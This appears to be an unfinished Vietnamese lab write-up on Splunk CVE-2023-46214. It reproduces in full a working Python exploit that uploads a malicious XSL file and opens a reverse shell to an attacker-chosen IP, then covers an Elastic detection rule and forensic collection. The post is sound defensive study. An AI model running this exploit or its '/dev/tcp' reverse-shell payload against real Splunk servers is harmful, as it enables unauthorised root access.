# CVE-2023-46214: Attack, Detect and Forensic
## Mở Bài
## Thân bài
### **Splunk Enterprise là gì?**
Trong thế giới đầy log và dữ liệu lớn Splunk không chỉ là một phần mềm, mà là một cây cầu kết nối giữa các ứng dụng, hệ thống và thiết bị hạ tầng mạng. Splunk không chỉ tìm kiếm và giám sát, mà còn là công cụ để có thể săn tìm những mối đe dọa đối với tổ chức.
Với khả năng linh hoạt, Splunk có thể cân nhiều loại dữ liệu khác nhau như Syslog, CSV, Apache-log, Access\_combined… điều này khiến nó trở thành công cụ mạnh mẽ. Splunk được xây dựng trên nền tảng Lucene và MongoDB khiến splunk có thể phiêu lưu trong thế giới phức tạp của log và thông tin mạng.
Là một SOC Analyst, mình đã làm quen với Splunk từ khi bước chân vào con đường làm về Giám sát bảo mật hệ thống. Công việc của mình hằng ngày có thể coi như hầu hết là làm việc với Splunk để có thể giám sát hệ thống, và phát hiện các cảnh báo bảo mật.
### Cài đặt và triển khai Splunk.
Để cài đặt Splunk, mình sử dụng môi trường Ubuntu Linux 20.04
Các bạn có thể download Splunk tại trang. Sau 7749 bước đăng kí và nhập thông tin thì mình có đường link download. Ở đây mình sử dụng Splunk version 9.0.5 để thực hiện chạy CVE.
Sau khi download thành công, mình tiến hành cài đặt package qua lệnh **apt install**. Splunk sẽ được cài đặt vào thư mục mặc định là **/opt/splunk**.
Chạy lệnh **/opt/splunk/bin/splunk start—accept-license** để chấp nhận license
Sau khi enter ‘y’ để xác nhận thì Splunk sẽ cho ta tạo credentials cho admin account.
Okey mọi thứ đã xong. Start splunk và access vào web interface thôi.
### **CVE-2023-46214**
Ở phần này, mình chỉ tập trung chủ yếu vào tìm hiểu sơ về cách mà CVE này khai thác và tận dụng lỗ hổng để RCE vào hệ thống và chạy POC.
Các version Splunk bị ảnh hưởng bởi CVE này là dưới 9.0.7 và 9.1.2.
Lỗ hổng này attack khai thác từ việc tải file malicious XSLT lên Splunk Enterprise có thể dẫn tới việc remote code execution (RCE).
Mình tìm hiểu về CVE-2023-46214 thông qua blogs này [Analysis of CVE-2023-46214 + PoC (hrncirik.net)](https://blog.hrncirik.net/cve-2023-46214-analysis), và xem PoC này làm những gì:
```python
#!/usr/bin/env python3
import argparse
import requests
import json
# proxies = {"http": "", "https": ""}
proxies = {}
def generate_malicious_xsl(ip, port):
return f"""
sh -i >& /dev/tcp/{ip}/{port} 0>&1
"""
def login(session, url, username, password):
login_url = f"{url}/en-US/account/login?return_to=%2Fen-US%2Faccount%2F"
response = session.get(login_url, proxies=proxies)
cval_value = session.cookies.get("cval", None)
if not cval_value:
return False
auth_payload = {
"cval": cval_value,
"username": username,
"password": password,
"set_has_logged_in": "false",
}
auth_url = f"{url}/en-US/account/login"
response = session.post(auth_url, data=auth_payload, proxies=proxies)
return response.status_code == 200
def get_cookie(session, url):
response = session.get(url, proxies=proxies)
return response.status_code == 200
def upload_file(session, url, file_content, csrf_token):
files = {'spl-file': ('shell.xsl', file_content, 'application/xslt+xml')}
upload_headers = {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0",
"Accept": "text/javascript, text/html, application/xml, text/xml, */*",
"X-Requested-With": "XMLHttpRequest",
"X-Splunk-Form-Key": csrf_token,
}
upload_url = f"{url}/en-US/splunkd/__upload/indexing/preview?output_mode=json&props.NO_BINARY_CHECK=1&input.path=shell.xsl"
response = session.post(upload_url, files=files, headers=upload_headers, verify=False, proxies=proxies)
try:
text_value = json.loads(response.text)['messages'][0]['text']
if "concatenate" in text_value:
return False, None
return True, text_value
except (json.JSONDecodeError, KeyError, IndexError):
return False, None
def get_job_search_id(session, url, username, csrf_token):
jsid_data = {'search': f'|search test|head 1'}
jsid_url = f"{url}/en-US/splunkd/__raw/servicesNS/{username}/search/search/jobs?output_mode=json"
upload_headers = {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0",
"X-Requested-With": "XMLHttpRequest",
"X-Splunk-Form-Key": csrf_token,
}
response = session.post(jsid_url, data=jsid_data, headers=upload_headers, verify=False, proxies=proxies)
try:
jsid = json.loads(response.text)['sid']
return True, jsid
except (json.JSONDecodeError, KeyError, IndexError):
return False, None
def trigger_xslt_transform(session, url, jsid, text_value):
xslt_headers = {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0",
"X-Splunk-Module": "Splunk.Module.DispatchingModule",
"Connection": "close",
"Upgrade-Insecure-Requests": "1",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"X-Requested-With": "XMLHttpRequest",
}
exploit_endpoint = f"{url}/en-US/api/search/jobs/{jsid}/results?xsl=/opt/splunk/var/run/splunk/dispatch/{text_value}/shell.xsl"
response = session.get(exploit_endpoint, verify=False, headers=xslt_headers, proxies=proxies)
return response.status_code == 200
def trigger_reverse_shell(session, url, username, jsid, csrf_token):
runshellscript_data = {'search': f'|runshellscript "shell.sh" "" "" "" "" "" "" "" "{jsid}" ""'}
runshellscript_url = f"{url}/en-US/splunkd/__raw/servicesNS/{username}/search/search/jobs"
upload_headers = {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0",
"X-Requested-With": "XMLHttpRequest",
"X-Splunk-Form-Key": csrf_token,
}
response = session.post(runshellscript_url, data=runshellscript_data, headers=upload_headers, verify=False, proxies=proxies)
return response.status_code == 201
def main():
parser = argparse.ArgumentParser(description='Splunk CVE-2023-46214 RCE PoC')
parser.add_argument('--url', required=True, help='Splunk instance URL')
parser.add_argument('--username', required=True, help='Splunk username')
parser.add_argument('--password', required=True, help='Splunk password')
parser.add_argument('--ip', required=True, help='Reverse Shell IP')
parser.add_argument('--port', required=True, help='Reverse Shell Port')
args = parser.parse_args()
session = requests.Session()
print("[!] CVE: CVE-2023-46214")
print("[!] Github: ")
if not login(session, args.url, args.username, args.password):
print("[-] Authentication failed")
exit()
print("[+] Authentication successful")
print("[*] Grabbing CSRF token", end="\\r")
if not get_cookie(session, f"{args.url}/en-US"):
print("[-] Failed to obtain CSRF token")
exit()
print("[+] CSRF token obtained")
csrf_token = session.cookies.get("splunkweb_csrf_token_8000", None)
malicious_xsl = generate_malicious_xsl(args.ip, args.port)
uploaded, text_value = upload_file(session, args.url, malicious_xsl, csrf_token)
if not uploaded:
print("[-] File upload failed")
exit()
print("[+] Malicious XSL file uploaded successfully")
jsid_created, jsid = get_job_search_id(session, args.url, args.username, csrf_token)
if not jsid_created:
print("[-] Creating job failed")
exit()
print("[+] Job search ID obtained")
print("[*] Grabbing new CSRF token", end="\\r")
if not get_cookie(session, f"{args.url}/en-US"):
print("[-] Failed to obtain CSRF token")
exit()
print("[+] New CSRF token obtained")
if not trigger_xslt_transform(session, args.url, jsid, text_value):
print("[-] XSLT Transform failed")
exit()
print("[+] Successfully wrote reverse shell to disk")
if not trigger_reverse_shell(session, args.url, args.username, jsid, csrf_token):
print("[-] Failed to execute reverse shell")
exit()
print("[+] Reverse shell executed! Got shell?")
if __name__ == "__main__":
main()
```
Đi sơ về phân tích code 1 chút, đầu tiên là hàm `generate_malicious_xsl()`
Hàm này tạo ra một đoạn mã XSL có chức năng gửi một yêu cầu reverse shell đến máy attacker và lưu vào file `shell.sh` ở path `/opt/splunk/bin/scripts/`.
Hàm `login()`
Hàm này đơn giản chỉ là đăng nhập vào trang Splunk sử username với password được truyền vào.
Tiếp theo là hàm `upload_file()`
Đoạn này thực hiện việc up file revershell `shell.xsl` đã tạo lên server ở path `/en-US/splunkd/__upload/indexing/preview` và gán nội dung của shell.xsl vào `text_value`.
Next, `get_job_search_id()`
Hàm này tóm tắt lại là gửi một yêu cầu `POST` đến **Splunk**, phân tích cú pháp phản hồi json trả về từ server, nếu thành công nó sẽ truy cập giá trị sủa `sid` và gán vào `jsid`.
`trigger_xslt_transform()`
Sử dụng một yêu cầu GET để kích hoạt quá trình chuyển đổi XSLT thông qua endpoint **`/en-US/api/search/jobs/{jsid}/results`**.
Cuối cùng là hàm `trigger_reverse_shell()`
Sử dụng một yêu cầu POST để thực hiện lệnh shell script thông qua endpoint **`/en-US/splunkd/__raw/servicesNS/{username}/search/search/jobs`**. Command runshellscript là một lệnh tìm kiếm có khả năng chạy lệnh shell trực tiếp từ một tìm kiếm Splunk.
Tóm lại workflow của PoC thực hiện như sau:
1. Xác thực với user và password để vào hệ thống Splunk
2. Tạo tệp in XSL
3. Tải tệp tin XSL lên Splunk
4. Tạo 1 job search ID để tìm kiếm sid
5. Chuyển đổi XSLT
6. Reverse shell
### Cài đặt Agent lên server chạy Splunk để lấy logs
Trước khi chạy PoC để RCE server thì mình thực hiện cài agent để lấy logs để phục vụ cho việc Detection.
Mình sử dụng Elastic Cloud để monitor và cài Auditbeat lên server.
* Download và cài đặt Auditbeat version lên server.
* Thêm [cloud.id](http://cloud.id) và cloud.auth vào **`/etc/auditbeat/auditbeat.yml`** để set thông tin kết nối cho Elastic Cloud:
* Setup Auditbeat
* Start Auditbeat và check logs xem đã nhận data chưa
```jsx
sudo service auditbeat start
```
Okey naiiiii.
### Run PoC
* Download PoC về bằng git clone
Chúng ta cần truyền parameters như Splunk URL, username Splunk, passoword Splunk, IP và Port reverse shell
Vì máy mình đang chạy local nên cần dùng ngrok để tunel tcp ra ngoài
```jsx
ngrok tcp 444
```
Tạo một socket để lắng nghe bằng netcat
Trước khi chạy exploit mình thực hiện capture network bằng SSH và Wireshark
Nice, chạy PoC thôi
\[+] Authentication successful
\[+] CSRF token obtained
\[+] Malicious XSL file uploaded successfully
\[+] Job search ID obtained
\[+] New CSRF token obtained
\[+] Successfully wrote reverse shell to disk
\[+] Reverse shell executed!
And 1 century later
\[+] Got shell??????????? Wtf sao không lên Shell được. Ho li shit :<<<<
Mọi workflow thành công hết rồi mà sao chưa lên shell được nhỉ. Mình tiến hành check lại code và debug 7749 bước
Check xem folder `/opt/splunk/bin/scripts/` file [shell.sh](http://shell.sh) đã được load lên
Hmmm file shell đã có nhưng tại sao không lên được mà tác giả có thể RCE???
Sau 7749 bước thì mình phát hiện do tác giả k define `/bin/bash` lên đầu file `shell.sh` nên khi thực hiện lệnh về shell thì nó bị failed
Mình thêm 2 dòng code vào hàm `generate_milicous_xsl()`
Define `#/bin/bash`
```jsx
#!/bin/bash #
```
\*\*`
`\*\*một ký tự xuống dòng (line feed) trong Unicode
```jsx
```
Okay chạy lại PoC thôi.
Nice =)) Mình đã RCE thành công vào hệ thống với quyền root.
### Identification attack
#### Phát hiện sớm cuộc attack với SIEM system
Đây là logs mà hệ thống ghi được từ cuộc attack. Bắt đầu exploit từ 06:38:07 -> 06:38:37 mất khoảng 30s để exploit vào hệ thống. Logs sinh ra trên hệ thống gồm chạy **runshellscript.py và shell.sh qua process bash và python3.7.**
Với việc cài đặt rule detection [Potential Reverse Shell Activity via Terminal](https://www.elastic.co/guide/en/security/8.6/potential-reverse-shell-activity-via-terminal.html) vào hệ thống cảnh báo, khi CVE này được chạy ta có thể phát hiện thông qua việc chạy bash process
```
process where event.type in ("start", "process_started") and
process.name in ("sh", "bash", "zsh", "dash", "zmodload") and
process.args : ("*/dev/tcp/*", "*/dev/udp/*", "*zsh/net/tcp*", "*zsh/net/udp*") and
/* noisy FPs */
not (process.parent.name : "timeout" and process.executable : "/var/lib/docker/overlay*") and
not process.command_line : ("*/dev/tcp/sirh_db/*", "*/dev/tcp/remoteiot.com/*", "*dev/tcp/elk.stag.one/*", "*dev/tcp/kafka/*", "*/dev/tcp/$0/$1*", "*/dev/tcp/127.*", "*/dev/udp/127.*", "*/dev/tcp/localhost/*") and
not process.parent.command_line : "runc init"
```
### Digital Forensics
#### Thu thập memory
Để thu thập memory dump, mình viết bash script sử dung LiME để dump và cài đặt các package cần thiết.
Cấp quyền cho script và tiến hành dump.
Mình lưu file memory dump vào thư mục **evidence + timestamp dump và có cal hash của file mem để đảm bảo tính toàn vẹn của evidence.**
Sử dụng lệnh scp để tải file từ server xuống local để thực hiện forensic.
```
scp -r root@188.166.234.203:/root/evidence_20231202_091131/ ./
```
#### Thu thập Disk image
Mình thực hiện việc sao lưu một phân vùng (`/dev/vda1`) bằng cách sử dụng `dd`, nén dữ liệu bằng `gzip` ghi vào file backup.gz
```
ssh root@188.166.234.203 "dd if=/dev/vda1 bs=4M | gzip -9 -" | pv -ptebar -s $((25 * 1024 * 1024 * 1024)) | dd of=backup.gz
```
tobecontinue
## Kết bài
#### Collection
